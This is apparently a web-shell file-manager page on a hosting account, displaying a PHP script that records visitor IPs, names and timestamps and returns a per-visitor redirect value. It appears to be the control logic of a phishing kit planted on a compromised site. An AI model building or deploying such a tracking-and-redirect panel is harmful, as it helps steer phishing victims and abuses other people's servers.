Your IP : 216.73.216.147


Current Path : /home/lejardintz/www/assets/mta/
Upload File :
Current File : /home/lejardintz/www/assets/mta/update_time.php

<?php
header('Content-Type: application/json');
$filename = __DIR__ . '/control/visitors_d.txt';
$visitorIP = $_SERVER['REMOTE_ADDR'];
$visitorTime = time();

$data = [];


// Load existing data
if (file_exists($filename)) {
    $response = ['status' => 'not_found'];
    $lines = file($filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    foreach ($lines as $line) {
        $parts = explode('|', $line);
        if (count($parts) === 4) {
            list($ip, $name, $time, $redirect) = $parts;
            $data[$ip] = ['name' => $name, 'time' => $time, 'redirect' => $redirect];
        }
    }
}

if (array_key_exists($visitorIP, $data)) {
    // Update time
    $data[$visitorIP]['time'] = $visitorTime;

    // Save updated data
    $output = '';
    foreach ($data as $ip => $info) {
        $output .= "$ip|{$info['name']}|{$info['time']}|{$info['redirect']}\n";
    }
    file_put_contents($filename, $output);

    // Send redirect value in response
    $response = [
        'status' => 'updated',
        'redirect' => $data[$visitorIP]['redirect']
    ];
}

//header('Content-Type: application/json');
echo json_encode($response);
?>